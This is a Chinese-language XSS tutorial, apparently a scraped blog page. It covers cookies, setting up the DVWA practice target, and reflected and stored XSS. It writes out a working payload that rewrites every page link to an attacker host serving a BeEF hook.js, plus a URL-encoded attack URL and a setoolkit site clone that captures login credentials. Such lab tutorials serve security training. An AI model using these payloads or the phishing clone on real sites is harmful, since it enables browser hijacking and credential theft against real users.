漏洞篇(XSS 跨站脚本攻击一) | 您所在的位置:网站首页 › 跨站脚本攻击指利用网站漏洞 › 漏洞篇(XSS 跨站脚本攻击一) |
目录 一、XSS跨站脚本攻击 1、Cookie 概述 2、使用 JavaScript 创建 Cookie 3、使用 JavaScript 读取 Cookie 4、使用 JavaScript 修改 Cookie 5、Cookie 字符串 二、XSS 跨站脚本攻击原理及 DVWA 靶机的搭建 1、学习环境搭建 2、反射型 XSS 原理 3、存储型 XSS 原理 4、DOM 型 XSS 原理 三、实战-反射型 XSS 攻击劫持用户浏览器 1、构建反射型 XSS 攻击 2、使用 beef 劫持用户浏览器 四、实战-持久型 XSS 窃取用户信息 1、使用 setoolkit 克隆站点 一、XSS跨站脚本攻击 1、Cookie 概述 1、Cookie 概述: Cookie 是一些数据, 存储于你电脑上的文本文件中。 当 web 服务器向浏览器发送 web 页面时,在连接关闭后,服务端不会记录用户的信息。 Cookie 的作用就是用于解决 "如何记录客户端的用户信息": (1)、当用户访问 web 页面时,他的名字可以记录在 cookie 中。 ( 2)、在用户下一次访问该页面时,可以在 cookie 中读取用户访问记录。 Cookie 以键值对形式存储,如下所示: username=John Doe 当浏览器从服务器上请求 web 页面时, 属于该页面的 cookie 会被添加到该请求中。服务端通过 这种方式来获取用户的信息。参数 说明 必填 举例 name cookie 的名字 是 使用 $_COOKIE['cookiename'] 调 用名为 cookiename 的 cookie。 value cookie 的值,存放在客户端,不要存放敏感 数据 是 假定 name 是’ cookiename’,可以通过 $_COOKIE[‘cookiename’] 取得其值。 expire Cookie 过期的时间。这是个 Unix 时间 戳,即从 Unix 纪元开始的秒数。换而言之, 通常用 time() 函数再加上秒数来设定 cookie 的失效期。或者用 mktime()来实 现。 否 time()+86400*30 将设定 cookie 30 天后失效。如果未设 定,cookie 将会在会话结束后 (一般是浏览器关闭)失效。 path Cookie 在服务器端的有效路径。 如果该参数设为 ' /'的话, cookie 就在整个 domain 内有 效,如果设为'/foo/', cookie 就只在 domain 下的 /foo/目录 及其子目录内有效,例 如 /foo/bar/。默认值为设定 cookie 的当前目录。 domain 该 cookie 有效的域名。 否要使 cookie 能在如 example.com 域名下的所有 子域都有效的话,该参数应该设 为 ' .example.com'。虽然 . 并不必须的,但加上它会兼容更 多的浏览器。如果该参数设为 www.example.com 的话,就 只在 www 子域内有效。 secure 指明 cookie 是否仅通过安全的 HTTPS 连 接传送。当设成 TRUE 时,cookie 仅在安 全的连接中被设置。默认值为 FALSE。 否 0 或 1 httponly 设为 true 后,只能通过 http 访问, javascript 无法访问;防止 xss 读取 cookie;php5.2 以上版本已支持 HttpOnly 参数的设置,同样也支持全局HttpOnly 的 设置,在 php.ini 中, session.cookie_httponly=ture 来开启全局 的 Cookie 的 HttpOnly 属性 否 setcookie(“abc”, “test”,NULL, NULL, NULL, NULL, TRUE) 2、使用 JavaScript 创建 Cookie JavaScript 可以使用 document.cookie 属性来创建 、读取、及删除 cookie。 例 1:JavaScript 中,创建 cookie 如下所示: document.cookie="username=John Doe"; 例 2:你还可以为 cookie 添加一个过期时间(以 UTC 或 GMT 时间)。默认情况下,cookie 在 浏览器关闭时删除: document.cookie="username=John Doe; expires= Thu, 18 Dec 2043 12:00:00 GMT"; 3、使用 JavaScript 读取 Cookie 在 JavaScript 中, 可以使用以下代码来读取 cookie: var x = document.cookie; 注:document.cookie 将以字符串的方式返回所有的 cookie,类型格式: cookie1=value; cookie2=value; cookie3=value; 4、使用 JavaScript 修改 Cookie 在 JavaScript 中,修改 cookie 类似于创建 cookie,如下所示: document.cookie="username=John Smith; expires=Thu, 18 Dec 2043 12:00:00 GMT; path=/"; 旧的 cookie 将被覆盖。 5、Cookie 字符串 document.cookie 属性看起来像一个普通的文本字符串,其实它不是。 即使您在 document.cookie 中写入一个完整的 cookie 字符串, 当您重新读取该 cookie 信息 时,cookie 信息是以键值对的形式展示的 。 如果您设置了新的 cookie,旧的 cookie 不会被覆盖。 新 cookie 将添加到 document.cookie 中,所以如果您重新读取 document.cookie,您将获得如下所示的数据: cookie1=value; cookie2=value; 二、XSS 跨站脚本攻击原理及 DVWA 靶机的搭建 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的 PHP/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助 web 开发者更好的理 解 web 应用安全防范的过程。 1、学习环境搭建 (1)上传 DVWA 到主机 [root@localhost ~]# rz (2)将下载的 dvwa 渗透系统代码上传到 Linux 上,并解压到网站根目录下[root@localhost ~]# unzip DVWA-master.zip -d /var/www/html/ 修改文件权限 [root@localhost ~]# chown apache:apache /var/www/html/DVWA-master/ -R (3)编辑 DVAW 配置文件/dvwa/config/config.inc.php,配置数据库信息,user 和 password 是 MySQL 的用户名和密码。 创建配置文件 [root@localhost ~]# cd /var/www/html/DVWA-master/config/ [root@localhost config]# cp config.inc.php.dist config.inc.php #基于模版配置文件,生 成新的配置文件 config.inc.php [root@localhost config]# vim /var/www/html/DVWA-master/config/config.inc.php 修改一下标红内容: 改:21 $_DVWA[ 'db_password' ] = 'p@ssw0rd'; 为:21 $_DVWA[ 'db_password' ] = ' 123456 '; #只需要修改成你的 mysql 的 root 用户密 码 改: 29 $_DVWA[ 'recaptcha_public_key' ] = ''; 30 $_DVWA[ 'recaptcha_private_key' ] = ''; 为:添加上谷歌开源免费验证码 reCAPTCHA 的公钥和私钥 29 $_DVWA[ 'recaptcha_public_key' ] = ' 6LdK7xITAAzzAAJQTfL7fu6I0aPl8KHHieAT_yJg '; 30 $_DVWA[ 'recaptcha_private_key' ] = ' 6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ '; 扩展: reCAPTCHA 概述:CMU 设计了一个名叫 reCAPTCHA 的强大系统,让他们的电脑去向人类求 助。具体做法是:将 OCR(光学字符识别)软件无法识别的文字扫描图传给世界各大网站,用以替换原 来的验证码图片;那些网站的用户在正确识别出这些文字之后,其答案便会被传回 CMU。 OCR 概述:OCR (Optical Character Recognition,光学字符识别)是指电子设备(例如扫描 仪或数码相机)检查纸上打印的字符,通过检测暗、亮的模式确定其形状,然后用字符识别方法将形状翻 译成计算机文字的过程; CAPTCHA [ ˈ kapSH ə ] :验证码 如:google 常用的人机身份验证方式![]() ![]() (6)后期登录: http://x.x.x.x/DVWA-master/login.php dvwa 的登录界面的默认用户名:admin ,密码: password 2、反射型 XSS 原理 我们来演示一下它的工作原理。这个功能类似一个留言板,输入信息后下面会增加对应的信息。 根据回显信息判断出,显示的文本内容是 Hello $name。我们输入的信息被存放在$name 变量 中。 我们添加一条 JavaScript 代码获取 cookie alert(document.cookie); ![]() 再次刷新页面,还是可以弹出弹出 cookie 信息。 我们登录服务器上的数据库进行查看。 三、实战-反射型 XSS 攻击劫持用户浏览器 1、构建反射型 XSS 攻击 我们先构建一个反射型的 XSS 攻击跳转到存在漏洞的页面。其实也可以在 DVWA 中直接进行攻 击,但是我们处于演示目的构造了一个相对复杂的环境。 window.onload = function() { var link=document.getElementsByTagName("a"); for(j = 0; j < link.length; j++) { link[j].href="http://www.wkxy25.top/ ";} } JavaScript 代码分析 :window.onload 当网页加载完成时,执行 function 匿名函数 函数功能:document.getElementsByTagName 获取页面中所有的 a 标签,存放到 link 数组 中,使用 for 循环将 link 数组中的所有元素替换为恶意网址。 打开 chrome 浏览器,我们在反射型 XSS 中进行测试效果 执行完成后页面并没有什么异常,刷新也没有问题,但是我们点击页面中任何链接时,会发现所有能够点击的链接点击后都会跳转到http://www.wkxy25.top/ 点击应用程序启动 beef 再打开一个终端,启动 apache ┌──(root💀kali)-[~] └─# systemctl start apache2 新建一个 Web 页面用来加载我们生成的 hook.js 钩子文件 ,如果在目标网站直接嵌入 hook.js 就太 可疑了。 └─# vim /var/www/html/hack.html Hello 修改一下 payload window.onload = function() { var link=document.getElementsByTagName("a"); for(j = 0; j < link.length; j++) { link[j].href=" http://192.168.1.101/hack.html ";} } 修改为完整的 URL http://192.168.1.102/DVWA- master/vulnerabilities/xss_r/?name= window.onload = function() { var link=document.getElementsByTagName("a"); for(j = 0; j < link.length; j++) { link[j].href=" http://192.168.1.101/hack.html ";} } 进行 URL 编码 http://192.168.1.102/DVWA- master/vulnerabilities/xss_r/?name= master%2Fvulnerabilities%2Fxss_r%2F%3Fname%3D%3Cscript%3Ewindow.onload%20%3D%20function()%20%7Bvar%20link%3Ddocument.getElementsByTagName(%22a%22)%3Bfor(j%20%3D%200%3B%20j%20%3C%20link.length%3B%20j%2B%2B)%20%7B%0Alink%5Bj%5D.href%3D%22http%3A%2F%2F192.168.1.101%2Fhack.html%22%3B%7D%20%7D%20%3C%2Fscript%3E 然后访问我们构造的地址。 随便点击一个跳转页面的链接触发 XSS![]() ![]() 选择 2 站点克隆 ![]() ![]()
访问 从外观上来看和真实的站点并没有什么不同。 我们输入用户名密码进行登录试试。 我们可以看到页面又重新跳转回了站点。也就是真实站点中。 再次点击登录网站正常登录成功。 我们回到 setoolkit 查看,已经记录下了在我们克隆站点输入的用户名密码信息。
|
CopyRight 2018-2019 实验室设备网 版权所有 |